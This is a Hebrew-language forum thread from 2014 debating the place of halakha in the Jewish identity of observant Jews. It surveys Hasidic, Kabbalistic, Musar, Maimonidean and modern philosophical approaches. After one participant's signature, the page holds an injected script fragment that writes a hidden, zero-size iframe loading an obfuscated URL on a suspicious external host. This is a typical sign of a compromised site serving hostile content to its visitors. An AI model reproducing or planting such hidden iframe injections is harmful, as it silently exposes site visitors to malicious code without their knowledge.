| נשלח ב-12/1/2014 12:54 |
 |
| |
מעמד ההלכה אצל שומרי ההלכה
בכתבה מעניינת של התרשמות וניתוח פסטיבל 'לימוד' המתקיים בבריטניה, שהתפרסמה כאן http://tomerpersico.com/2014/01/08/limmud/, כתב תומר פרסיקו את הקטעים הבאים: "לבסוף, וכבסיס לסעיף הקודם, ניתן למנות את פחיתותה של ההלכה כגורם משמעתי בחייהם של היהודים בזמן הזה. זה כמובן לא חדש, אבל זאת מגמה מתגברת, וכדאי לשים לב שהיא קיימת בקרב שומרי מצוות לא הרבה פחות מאשר בקרב מי שממילא אינם שומרי מצוות. במילים אחרות, גם עבור אורתודוקסים וקונסרבטיבים (מסויימים), שההלכה היא חלק משמעותי בחייהם מבחינת הזמן שהם מקדישים לדקויותיה בכל יום, ההלכה אינה חלק משמעותי בחייהם מבחינת החשיבות שיש לה כיסוד של זהות. קיום מצוות אינו מספק מבחינתם כדי לעצב עבורם חיים יהודיים משמעותיים. הם זקוקים לרובד תרבותי-הגותי שישלים עבורם את "החיים היהודיים", שיטעין אותם בלחלוחית מספקת על מנת שיפרחו. "הפחתת ההלכה כיסוד של זהות היא זו המאפשרת עירוב זרמים מחד, וזו המושכת שומרי מצוות רבים להעשיר את חייהם ב"יהדות" שאינה קשורה להלכה, אלא מתפקדת יותר כמקור לעושר תרבותי. בשונה משניתן למצוא בקבלה ובחסידות (אם נתבונן בשני ניסיונות קודמים להמריא מעבר להלכה), הפרפראות התרבותיות כאן אינן קושרות עצמן למצוות, אלא מתפקדות בשדות תרבותיים אחרים (אינטלקטואלים, אמנותיים, פולקלוריסטיים, קולינריים)." דומני כי פרסיקו נגע כאן בנקודה שרבים מפספסים: מעמד ההלכה אצל שומרי הלכה. ישנה תפיסה פשוטה, כי ההלכה היא עצם המהות של היהדות. ואם מדברים במונחים של 'זהות', הרי שהזהות היהודית באה לידי ביטוי בשמירת הלכה. לכאורה זו עמדה רווחת, אך קשה להיות שותף לה. איני רוצה להיכנס לשאלה האם זו עמדה יהודית קלאסית כפי שהתקיימה היהדות לאורך הדורות, אך דומני כי מי שיחשוב שהרמב"ם היה אדם שההלכה היוותה את הזהות היהודית שלו, או הרמח"ל, ועל אחת כמה וכמה גדולי החסידות, עליו ניתן לומר בפשטות שהוא טועה.
מצד שני, כאשר אנו מדברים על אנשים ששומרים על ההלכה, ואף מדקדקים בה, קשה לומר שההלכה היא בסך הכל הרגל, או אורח חיים סתמי עבורם. אם הבאתי את הרמב"ם כדוגמא, הרי שזו דוגמא מצוינת לעניין הזה. מצד אחד הגותו מעמידה אותו בעמדה שבה קיום ההלכה לפרטיה נראה משני, ומצד שני אי אפשר להתעלם ממפעל חייו המרכזי: משנה תורה, שכולו עסוק בסידור פרטי ההלכה ודקדוקיה. יש כאן משהו מהותי, שטעון הסבר. כנראה שיש רמות שונות ורבות במקום אותו ההלכה תופסת במארג שמרכיב את הזהות היהודית. אנסה לעשות חלוקה ראשונית של שלוש רמות של תפיסת ההלכה כערך שאינו מרכיב את הזהות היהודית, וברור שיש מקום להוסיף רמות נוספות.
ההלכה כהמלצה:
לכאורה מי שרואה את ההלכה כהמלצה, אינו אורתודוקסי (למרות שהמציאות מורכבת הרבה יותר). המקום של ההלכה כהמלצה, אומר שאם לא מקיימים את ההלכה, זה לא נורא. אולי עדיף לקיים את ההלכה, ואולי במצבים מסוימים עדיף שלא לקיימה. אדם כזה יכול לקיים את ההלכה כי נראה לו שזה טוב/נוח/כדאי/אחר. אבל עמדה כזו ודאי שאינה מציבה את ההלכה כחלק מן הזהות היהודית.
ההלכה כחובה צדדית:
גם מי שרואה את ההלכה כחובה, יכול לראותה ככזו שאינה עומדת במרכז הזהות היהודית. זו חובה, אך צדדית. הזהות היהודית מורכבת מהגות, תרבות, אמנות ועוד, ויש בה גם חובה לחיות בצורה מסוימת. ההפרדה הזו היא מעט מלאכותית, אבל נראה שזו דרך שבה בוחרים רבים.
יש בעמדה הזו לפחות שתי בעיות. האחת היא עצם הניתוק הנפשי בין החיים ההלכתיים היומיומיים ובין הזהות היהודית, דבר שמעמיד בסופו של דבר את המצווה על קיום ההלכה כרודן ולא כמורה רוחני; והשניה היא השאלה כמה זמן צורת החיים הזו יכולה להחזיק מעמד. האם אפשר להעביר לדורות הבאים (ולנו עצמנו לאורך זמן) את תחושת החובה לחיות חיים הלכתיים, כאשר הם מנותקים מהזהות היהודית שלנו?
ההלכה כמסגרת הכרחית:
הגישה הזו, דומני, היא המוצלחת ביותר (אם איננו מוכנים להעמיד את ההלכה כחלק המהותי של הזהות היהודית), והמשל הטוב ביותר שלה הוא משל הכתובה.
כאשר זוג נישא כדת משה וישראל, כותבים שטר כתובה בו מפורטות זכויות וחובות של הצדדים (בעיקר, או רק, חובות של הגבר וזכויות של האשה). אין ספק שזוג שאינו מקיים את האמור בכתובה, מעקר את הנישואין מתוכנם. נתאר לעצמנו זוג שמסתיר זה מזו וזו מזה דברים רבים; חי חיים פיננסיים בנפרד; אינו מקיים יחסים וכדומה. באופן רשמי הנישואין תקפים, אך אין להם כל משמעות.
מצד שני, האם ניתן לומר שהחובות והזכויות המפורטות בכתובה הן המהות של הנישואין? בהחלט לא. מהות הנישואין אינה לפרנס את האשה או לשתף אותה במה שעבר על בעלה, ואפילו לא לקיים יחד איתה יחסים. המהות היא הקשר הנפשי, שבא לידי ביטוי בכל הרשימה שלעיל. ניתן לומר שבדרך כלל אלו תנאים הכרחיים על מנת לקיים קשר, אבל זו אינה המהות של הקשר אלא המסגרת שבתוכה בא הקשר לידי ביטוי.
ממש באותו אופן ניתן לראות את קיום ההלכה. לא כחלק מהותי מהזהות היהודית, אלא כצורה הכרחית (בדרך כלל) לקיום הזהות הזו, שהיא עצמה אינה ההלכה אלא הגות, תרבות וכדומה.
מי שרואה כך את הדברים, יכול מצד אחד לראות את ההלכה כדבר נפרד מהזהות היהודית שלו, ובד בבד לקיים את ההלכה על כל דקדוקיה, מתוך תפיסה הרואה את החיים ההלכתיים כמסגרת הנכונה שבתוכה יכולה הזהות היהודית לבוא לידי ביטוי מדויק ומקסימלי.
תוקן על ידי חזקואמץ ב- 12/01/2014 12:54:24
 |
|
|
|
|
| נשלח ב-17/1/2014 08:14 |
|
| |
חזקואמץ
איקון ירוק מאד.
העלית נושא שתמיד רציתי לדון בו. והצבעת על הדברים החשובים ביותר. אני מפקפק אם יש לי משהו להוסיף. אבל בכל זאת, מה גם שזה אשכול שצריך התייחסות רבה.
אולי אפתח בהצגה אחרת של השאלה:
האם המשמעות של "להיות יהודי" היא אך ורק מחוייבות להלכה, או שיש בחיים שלנו כיהודים יותר מזה?
אחד ההמשכים של השאלה הזו הוא בכך: אדם רוצה לא רק לשרוד, אלא לחיות חיים של תוכן. האם התוכן היחיד שיכול להגדיר את היהודי הוא ההלכה?
כאן כבר אי אפשר שלא לשאול: מה כוללת ההלכה?
אז יש לנו שתי שאלות:
מהי ההלכה?
מה הם החיים הראויים והמספקים - שאלה על הראוי ושאלה על המצוי. האם יש בהם יותר מאשר הלכה בלבד.
כמדומה שהחרדיות מעניקה שתי תשובות פשטניות.
ההלכה היא כל מה שכתוב בשולחן ערוך ומה שהוסיפו פרשנים, פוסקים, אחרונים ומלקטים, עד אחרון המנהגים.
החיים אמורים לעסוק רק בהלכה. לימודה, קיומה, ושיפור הביצועים שלה. למשל בירור שיטות הלכתיות נוספות כדי להוסיף כל העת על ההלכה המקובלת.
כמדומה שזו האידיאולוגיה שנרכשת בעולם הישיבות שלנו (החרדי ליטאי). ואם זה לא ברור, או לא מוכר, אפשר להתרשם מן התמונה שמצטיירת מספרי הלכה, כגון הספר הפופולרי בזמננו "אורחות שבת" וחבריו.
כנגד הדגם הפשטני הזה ניתן לעמת דגמים אחרים, שחלקם זוכים ללגיטימציה בציבור החרדי, וחלקם בשום פנים ואופן לא.
א. הדגם החסידי. ההלכה רחבה הרבה יותר וכוללת תקנות קהילתיות ומקומיות. אך אדם מוזמן או נתבע לבנות חיים פנימיים שמבוססים, עד כמה שאני מבין, על מושג הדבקות. קשר ישיר יותר, לא הלכתי, עם אלוקים.
הקשר הזה כולל לימוד, כלומר של ספרי חסידות (ראו למשל בחב"ד), וקיום מעשי, ויצירת קשרים שאותם יש לתאר בכלים מתחום הפנומנולוגיה (=מחקר וניתוח שעוסקים בתופעות המוכרות לנפש בלי לשאול מה הבסיס שלהן במציאות ואיך הן עובדות ובמיוחד לא אם התופעות אמיתיות או מדומות).
ב. הדגם הקבלי. למעשה זה דומה מאד. החלק הלימודי הוא כתבי האר"י, בהתאם לגישות פרשניות שונות (ויש). הדגם המעשי הוא יישום של הנלמד. בעיני שלי העוינות זה נראה כמשחק בסמלים, אבל מי שמאמין בכך סבור שהוא מתקן את עצמו, את עם ישראל, את ההיסטוריה, את העולם, וגם עוזר לאלוקים לתקן את עצמו. יתכן שיש כאן גם חלק פסיכולוגי מקביל לזה הקיים בחסידות של עבודה עצמית מספקת.
היתרון העצום של הדגם הקבלי הוא התחושה של חשיבות שמקבל האדם העוסק בכך. ראשית, כיון שהוא לומד "סודות", כולל סודות של אלוקים בכבודו ובעצמו. שנית, כיון שהוא ממלא תפקיד חיוני ביותר. אין הוא רק עוסק בעשיה "יבשה" של מצוות רק מפני שהוא צווה (גישה שמייחסים בסיפורים שונים ומשלים לחפץ חיים, בעל המשנה ברורה).
ג. הדגם המוסרי. כוונתי לדגם שהתפתח בעולם הישיבות הליטאי ויסודו מיוחס לר' ישראל מסלנט ותלמידיו, למרות שכבר ביניהם יש מחלוקות עמוקות (לדוגמא, האם האדם ראוי לאמון ולהערכה או לחשד עמוק ואמיתי). הדגם הזה כולל, לפי מיעוט ידיעותי, השקעה בחיזוק המסירות למצוות ולתורה, בדרך כלל דרך יראת העונש, אבל לא רק. ועיון בפסיכולוגיה של האדם כדי לדעת את עצמי ולכן להיות אדם כלומר יהודי טוב יותר (ראו למשל את "עלי שור" להרב וולבה).
אלו הדגמים המוכרים לי בעולם החרדי.
לפני שאני ממשיך לדגמים אחרים, אני מבקש להצביע על כך שקיומם של הדגמים דלעיל מוכיח שאין די בהלכה לבדה, במובן המצומצם שלה - אמור לי מה חובתי ואעשנה - כדי לתת חיים של תוכן מספק. מצד שני, דגמים אלו אינם שוללים את ההלכה ואינם מחליפים אותה אלא קיימים לצידה ומעצימים אותה.
ההלכה בדגם הקבלי, לפחות בחלקו (של הגר"א וההולכים בדרכו למשל), מפרשת את הקבלה על פי מושגים הלכתיים אם כי הדרשה הסמלית של הלכות קיימת בכל הקבלה מאז הזוהר.
תכלית המוסר, שוב לפחות לפי חלק מן הדגמים הפנימיים שלו, היא עשיה טובה יותר של ההלכה.
איני יודע אם זה קיים בחסידות. כמדומה שלא. אדרבה, החסידות תאשים שעיסוק מרובה מדי אפילו בלימוד תורה יכול לבוא על חשבון דבקות. ההלכה היא רק הבסיס שממנו יש להעפיל גבוה יותר. מבחינה זו, יש בחסידות (בדגמים מוקדמים שלה שכמדומה נעלמו מהשיח החרדי) מימד אנטינומי (=שולל את החוק הקיים).
האם יש עוד דגמים?
אכן כן.
4. הדגם הפילוסופי.
כאן יש, כמו בכל מקום, דגמים פנימיים.
כאן מתבקש להזכיר את הרמב"ם, שלגביו ההלכה היתה אורח קיום שנועד להעניק לאדם את ההזדמנות הטובה ביותר האפשרית כדי לעסוק בפילוסופיה
היעד האחרון, עיסוק במוסר לטובת האדם מסביב או הידבקות באלוקים אולי גם באופן מיסטי, כפי שהוא נתפס על ידי הרמב"ם - זו שאלה שנתונה במחלוקת עד היום הזה. הרמב"ם הצליח להסתיר היטב את כוונותיו האמיתיות.
למעשה, כיון שיש כמה כיווני פרשנות, כולם ייחשבו ללגיטימיים בעיני ההולכים בדרך זו.
בוודאי שיש כאן דגמים פנימיים של עבודה עצמית, כגון בדרכו של הראב"ם בן הרמב"ם או בעל "חובות הלבבות".
ראוי לציון מיוחד ריה"ל בעל "הכוזרי" שמעניק למצוות חשיבות מיוחדת שאין לוותר עליה בתוך מסגרת פילוסופית. קיום המצוות ולימודן, במיוחד לאור השימוש הזהיר והמסוייג בפילוסופיה, הוא זה שמחבר את האדם עם האלוקות ובעבר הרחוק העניק לנו את הנבואה.
5. הדגם הפילוסופי המודרני.
כאן כמדומה אנו יוצאים מתוך החרדיות בת זמננו. אדם שיזוהה כחרדי (למשל על פי מערכת החינוך שהוא יבחר לילדיו, או על פי הלבוש החיצוני שלו והשתייכותו הקהילתית) לא יזדהה רשמית עם לימוד פילוסופיה - אבל זה אפשרי וזה קיים, באופן אישי ולא קהילתי.
כאן ראוי להזכיר את הרב יוסף דב סולוביצ'יק ע"ה עם גישתו האקזיסטנציאליסטית.
דגמים חדשים יותר נמצאים כאן, בעצור, וכאן אולי אני רשאי להזכיר את עצמי?
6. הדגם העצכחי של הרב אהרן מילר.
היום אולי זה כבר נשכח, אבל הפורום שלנו הוקם בידי תלמידי הרב מילר, ובראשם וטו זכור לטוב. הרב מילר הקפיד על שמירת מצוות אם כי פירש אותן, כמדומה, בשני מישורים. המצוות הקהילתיות והמסורתיות, שיש להן ערך שמרני, והמצוות במובן רחב ומצומצם יותר, של מה שראוי שאעשה אני עכשו, וזה חלק מן ההתפתחות של האדם. אלו שני מישורים שיכולים להיות חופפים או מנוגדים. כמדומה שדרכו זו אינה שוללת שמירה מוחלטת על ההלכה במובן של מנהגים קהילתיים ואורח חיים חרדי לחלוטין. מכאן ואילך ניתן להבין ולהשתמש בתזה הזו בשני אופנים שיכולים להיות סותרים, ולכן כמדומה עוררה דרכו מחלוקת בין אלו שלא ירדו לסוף דעתו בציבור. מצד אחד, זה אומר שההלכה המקובלת בחיי הקהילה היא רק תשלום מס הכרחי וצריך להיזהר "לא לטלטל את הספינה" (או את עגלת התינוק). מצד שני, יש הלכה פנימית שהחיצונית היא רק ביטוי שלה. ובכך כמדומה יש דמיון בין שיטת הרב מילר לשיטה שאפשר לייחס לרמב"ם. הרמב"ם והרב מילר יסכימו שחשוב מאד להגיע לבית הכנסת עם ארבעת המינים בסוכות ולנענע אותם בדיוק לפי המקובל בספרי ההלכה והמנהג. ושניהם יראו בזה יציאת חובה של האדם הגדול כלפי החברה מסביב ולכן כלפי ה' שבחר בדרך זו וכלפי עצמו שהוא מרגיל עצמו לחיים נכונים.
***
לא הזכרתי כאן דגמים של חברות יהודיות אורתודוכסיות הקיימים בזמננו, כמו הדגם של הרב שג"ר, ועוד דגמים, מפני שהם אינם חרדיים וגם איני מכירם מספיק. אבל הם אורתודוכסיים והם מספקים תשובה אורתודוכסית לשאלה איך עלי לחיות והאם ההלכה תמלא מקום חשוב בחיי.
***
בכל הדגמים האלו ההלכה כאוסף מחייב של מעשים ויותר מכך מעשים בחברה נראית כמערכת מצומצמת שאין בה די כדי לתת מענה לצורך האנושי שלנו במשמעות. אבל כל התשובות שהובאו כאן (את חלקן הבאתי מטעמים של מחקר ויושר אינטלקטואלי אך יש לי עליהן ביקורת ומחלוקת) מציעות תוכן עמוק, חיים של עליה והתקדשות, והן מוסיפות על ההלכה ומתוכה ומתוך המסורת התורנית.
_____נוספו משפטים שהושמטו בהעתקה____________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 17/01/2014 08:16:29
|
|
|
|
|
| נשלח ב-17/1/2014 10:59 |
|
| |
להבהרה: אני חי בזמן בית שני ולפי דרגתי הרוחנית איני צריל לשמור שבת. טלטלתי מרשות לרשות. ספרתי לסנהדרין וגם כשהותריתי נימקתי.
לפי הדגם המילרי יהרגו אותי כדי לא לטלטל את העגלה?
תוקן על ידי תלמידטועה ב- 17/01/2014 10:59:53
|
|
|
|
| נשלח ב-17/1/2014 11:33 |
|
| |
ת"ט
שאלה חביבה, למרות שהיא מסיטה את האשכול.
בוודאי שיהרגו את מי שמחלל שבת. ובוודאי שעושים זאת כדי לא לטלטל את עגלת התינוק.
אבל זה לא חידוש.
זה לא רק הרב מילר והרמב"ם, אלו הם חז"ל. וזה פשט של פסוקים בתורה.
זה דין זקן ממרא, אם מדובר בחכם כמוך המערער על המוסד הסמכותי לפרשנות התורה, הסנהדרין.
אולם אם מדובר בעם הארץ המאמין שהוא שונה מאחרים, יתכן שהגענו לשאלה על דינו של "אומר מותר" ואם הוא נקרא אנוס.
יש לשים לב כי, כמו שאומר הרמב"ם, ועד כמה שהבנתי גם הרב מילר, חלק מן המחוייבות של מערכת המצוות היא חברתית. וזו חובה חשובה מאד.
אם רצונך לבקר, בקר אותי על דעתי המובעת לעתים תכופות, שיש לפתוח חבילה ולא להתחשב במנהגים חברתיים מאוחרים ושגויים.
הרב מילר היה אומר שצריך להתחשב בכולם, כי איש המעלה ממילא יתרכז בעבודה הפנימית (שצריך להבין מהי ובמיוחד אצלו) ואילו ההתחשבות בזולת, בחברה, היא מצוה, ולגבי מי שאינו - עדיין או בכלל - איש המעלה, השמרנות היא מה שיגן עליו בפני נפילות וכשלונות.
ושוב, האם זה רק הוא, או כבר הרמב"ם, וצד אחד לפחות בדברי חז"ל?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-17/1/2014 15:04 |
|
| |
מיימוני
אייקון ירוק על הניתוח ,
יש להוסיף נופח להגדרה ,העיקר הוא המצוה או ההכנה כדרך החסידות,
שאלו פעם אדמור איזה מצוה יותר גדולה הדלקת נר חנוכה או שריפת הפתילות ,ענה האדמור בודאי ההדלקה כי היא הכנה למצוה,
|
|
|
|
| נשלח ב-18/1/2014 19:39 |
|
| |
| תלמידטועה כתב: |  | להבהרה: אני חי בזמן בית שני ולפי דרגתי הרוחנית איני צריל לשמור שבת. טלטלתי מרשות לרשות. ספרתי לסנהדרין וגם כשהותריתי נימקתי.
לפי הדגם המילרי יהרגו אותי כדי לא לטלטל את העגלה?
תוקן על ידי תלמידטועה ב- 17/01/2014 10:59:53
|
|
תלמיד. הרב מימוני הרג אותך, בטעות.
בבית דין עדותך לא שוה כלום, אין אדם משים עצמו רשע, והוא לא יכול להעיד על עצמו,
עכשיו אם ספרת לרב מימוני בסתר שהיו שם שני עדים שלא רק התרו, אלא גם ראו אותך בשעת מעשה, וטרחו ובאו לבית הדין ובזבזו יום עבודה בשביל להרוג אותך- כנראה ליטאים,
|
|
|
|
| נשלח ב-19/1/2014 10:22 |
|
| |
מימוני
ההבדל הוא שזקן ממרה פעולתו שלילית, חתר נגד המערכת (הורה רק ללמד מותר) ואני פעלתי בסתר וכשנתפסתי הסברתי לעדים ולסנהדרין שאני ברמה גבוהה מהם...
|
|
|
|
|
| נשלח ב-19/1/2014 12:44 |
|
| |
נדב,
תודה על ההפניה לאשכול שלך מלפני שבע שנים.
יש הבדל משמעותי בין הצגת הדברים אצלך לזו שאני עשיתי. אתה מציג את המצוות כדרך לתיקון משיחי כלשהו, אם זה תיקון העולם המוכר לנו, ואם תיקון עולמות עליונים וכו'.
אני מדבר בעיקר על הזהות. איזה מקום נפשי תופסת אצלי הנחת התפילין, והמחויבות לעשות פעולה זו. האם זו פעולה שמבטאת כניעה וציות ותו לא? ואולי זו פעולה שיש לה משמעות חברתית, היסטורית, מוסרית, תרבותית, השלם את החסר, שהן - המשמעויות האלו - תופסות חלק מרכזי בזהות היהודית שלי?
על משמעות משיחית לא כתבתי. היא שונה מכל ההצעות האחרות, כי משמעות משיחית פירושה פעולה למען השגת מטרה גדולה, כללית, מתקנת. ולכן קשה להכניס משיחיות במשבצת של זהות עצמית (מלבד מי שתופס את עצמו כמשיח פוטנציאלי) ואילו המשמעויות שהצעתי צנועות בהרבה ועוסקות באדם עצמו.
|
|
|
|
| נשלח ב-20/1/2014 20:31 |
|
| |
ירוחם
היכי דמי ליטאי שמבזבז יום עבודה? ובשנים קשה אף יותר...
|
|
|
|
| נשלח ב-23/1/2014 10:06 |
|
| |
הרב מיימוני
תודה על הניתוח המחכים והמסדר. אמנם גם לדעתך אין בדברים כדי למצות את הדיון, אבל אני חושב שיש דילוג מסויים על הצד האמוציונלי ואסביר כוונתי.
מי אינו מכיר את התחושות והרגשות הבאים:
שברון לב
נחת מדור ישרים מבורך או מאשת חיל
שמחה שזכיתי
גאוות החידוש ושמחת הידיעה
טלטול הניגון
שמחת ההידור
גאוות יחידה
הערצת החכם/צדיק/גדול (מחק את המיותר)
ייאוש מהתשובה
בטחון בישועה
וכו וכו וכו
אלה לא הדת כמובן - לא הלכה ולא מיסטיקה ובהחלט ניתן לומר שאלה מכלול של תחושות ורגשות השייכות למישור הפסיכולוגי. אבל האם תתכן דתיות ללא כל זה? ישנם איזכורים פסיכולוגיים המפוזרים במקורות כמו "ושמחת בחגיך" או "ואהבת את..." אם כי כבר חז"ל מיהרו לתת גדרות ביצועיות למצוות אלה כמו "אין שמחה אלא בבשר וביין" וכד. אם מנתחים מה הגורמים הדומיננטיים במעבר לקיום תו"מ והמעבר ההפכי מוצאים הרבה פעמים דווקא אלמנטים כדלעיל כבעלי השפעה מכרעת. יהיו שיאמרו שלא כך צריך להיות. ואני שואל מדוע? מי החליט?
יכול להיות אדם פרטי כזה או אחר שהוא בבחינת "לב של אבן" ודתיותו היא הציות המוחלט המכאני לספר כזה או אחר. לדעתי זה יוצא מהכלל. העולם הפסיכולוגי הוא מעין פיגום עליו נבנית הדתיות בפאן ההלכתי שלה והנוסף כהסבריו של הר' מיימוני לעיל. ואולי יש מקום לאשכול נפרד בנושא מקומה של הפסיכולוגיה וביתר פירוט של הרגשות והתחושות בניתוח המושג של "דתיות". החסידות בתחילת דרכה חשבה להכניס את עולמות הרגש בדלת הראשית בהצלחה לא עקבית. אצל רוב הזרמים האחרים המצב מבולבל. בעצכ"ח הפסיכולוגיה נדחקה מבויישת לקרן זוית.
תוקן על ידי yerubaal ב- 23/01/2014 10:07:28
|
|
|
|
|
| נשלח ב-23/1/2014 12:23 |
|
| |
ראוי להוסיף כאן מאמר חשוב של חז"ל בעניין:
"והיינו דאמר ר' חייא בר אמי משמיה דעולא מיום שחרב בית המקדש אין לו להקב"ה בעולמו אלא ארבע אמות של הלכה בלבד."
הצגת הדברים של תומר, כאילו ההלכה כשלעצמה אמורה לספק משמעות מלאה לחיי היהודי בעולם, נראית כשגויה על פי מאמר זה.
ההלכה משמשת כמקלט זמני של היהדות בתקופת הגלות, על פי חז"ל.
אין היא אמורה למלא את חיינו תוכן, אלא לשמר את הגחלת, להחזיק את העצמות היבשות.
כך שביקורתו הסמויה כלפי ההלכה, היא ביקורת שלא במקום.
אכן, העיסוק בהלכה ובדקדוקיה מתארים מצב של גלות, של יובש, של עצמות יבשות.
ובדיוק מהסיבה הזאת היום, בעת ניצני הגאולה, יש התעוררות רבה של נסיונות להתעלות למעלה מכבלי ארבע אמות אלו,
נסיון למצוא משמעות שהיא יותר גבוהה, שמכילה את החיים כולם.
אז ארצה להבין קצת יותר את מסגרת הדיון.
האם אנחנו דנים במצב של "גלות", מצב בדיעבד?
ובתוך המצב הזה אנחנו שואלים מהי תפקידה של ההלכה ומה אמור לתת משמעות לחיי היהודי?
או שמא אנחנו דנים במצב של "גאולה", מצב אידיאלי?
ושאלתנו היא מה מקום ההלכה בעולם כזה? איזה רבדים נוספים קיימים בחיי היהודי? איך יהודי מחפש משמעות בעולם של גאולה?
כמדומני שהרמב"ם, אותו הציג מיימוני בזרם הפילוסופי, מדבר על המציאות בזמן הגלות, בדיעבד.
כך משתמע מהדברים שכתב בהקדמה לפירוש המשנה בפירושו על מאמר חז"ל זה.
(במאמר מוסגר אומר שאני חולק על דברי מיימוני, ההלכה על פי הרמב"ם היא תנאי הכרחי לעיסוק במעשה מרכבה [מה שמיימוני מכנה פילוסופיה] ולא "אורח קיום שנועד להעניק לאדם את ההזדמנות הטובה ביותר")
הדגם החסידי והקבלי כמו גם הכוזרי, לעומת זאת, מדברים, כמדומני, על מציאות של גאולה. או כהכנה לגאולה.
|
|
|
|
|
| נשלח ב-23/1/2014 22:39 |
|
| |
ירובעל,
הנושא שנגעת בו הוא אכן די בעייתי על פי הדגמים שהוצגו פה.
כמה רגש דתי ניתן להכניס לקיום הלכה שאינו מהותי?
זה אפשרי, אבל זה קשה הרבה יותר.
אלא אם כן הרגש הדתי שעליו מדברים הוא רגש של ציות וכניעה, שאז זה בהחלט אפשרי גם כשההלכה נובעת ממקום שהוא - בסופו של דבר - טכני.
חשוב לי לציין שאני רואה את הרגש (באופן כללי, ובפרט הרגש הדתי), הן כמניע והן בקיומו בפועל, חשוב הרבה יותר מהרציונליות או מהמעשה ההלכתי.
איתי,
הפרשנות שאתה נותן למאמר חז"ל "אין לו אלא ד' אמות של הלכה", הוא די מרחיב. האם בזמן של גאולה ההלכה אמורה להימצא במקום פחות מרכזי? האם מצב אידאלי - ע"פ התורה - הוא מצב שבו מצוות מעשיות לא מקוימות?
באופן כללי, החלוקה שעשית בין מצב של גלות שבו עסוקים יותר בקיום הטכני, ובין מצב של גאולה שבו עסוקים יותר במהות, נראה לי יפה מאוד.
מה שכתבתי בפתיחת האשכול מתייחס לאנשים דתיים, שההלכה חשובה להם, אבל הם לא מצליחים לראות אותה כדבר המהותי שעומד במרכז הזהות היהודית שלהם. האם זה מצב של גאולה? יכול להיות בהחלט שכן.
|
|
|
|
| נשלח ב-24/1/2014 02:14 |
|
| |
לפי דברי איתי, התורה היתה אמורה לעסוק בעניני מהות, ואילו התורה נותנת משקל רב דווקא לארבע אמות של הלכה, וראו את הרש"י הראשון לתורה.
הברית שנכרת בין עמ"י לקב"ה מבוססת על קיום המצוות.
|
|
|
|
| נשלח ב-24/1/2014 09:40 |
|
| |
בעל,
מאיפה אתה לוקח את הרעיון שהברית שנכרתה בין עם ישראל לקב"ה מבוססת על קיום המצוות?
היא אולי מתבטאת בקיום המצוות, אבל "מבוססת"?
וגם, האם היא קשורה לכל המצוות או דוקא לסוג מצוות מסוים?
|
|
|
|
| נשלח ב-25/1/2014 22:29 |
|
| |
חזק,
זאת נראית לי פרשנות פשוטה של המאמר.
אם לאחר חורבן בית המקדש אין לו בעולמו אלא ד' אמות של הלכה, משמע שבזמן בנין בית המקדש יש לו בעולמו יותר מזה.
"האם בזמן של גאולה ההלכה אמורה להימצא במקום פחות מרכזי?"
נראה שכן, אפשר לראות את זה מספרי הנביאים, העיסוק בעבודת ה' לא מסתובב סביב תפילין ומצות, על פי ספרי הנביאים נראה שיש חיבור מהותי בין ישראל לבורא, חיבור מתוך המקדש ומתוך הנבואה.
"האם מצב אידאלי - ע"פ התורה - הוא מצב שבו מצוות מעשיות לא מקוימות?"
כמובן לא, אני מאמין שזאת התורה לא תשתנה בשום זמן.
מה שכן, אני מאוד מתחבר לדברים שכתבת על "הלכה כמסגרת", ההלכה והמצוות המעשיות הן רק הבסיס, התשתית לחיבור עם הבורא.
בזמן הגאולה החיבור הזה הוא חיבור חי.
בעל,
התורה אכן עוסקת בענייני מהות.
את רש"י כנראה צריך להבין קצת יותר לעומק.
|
|
|
|
|
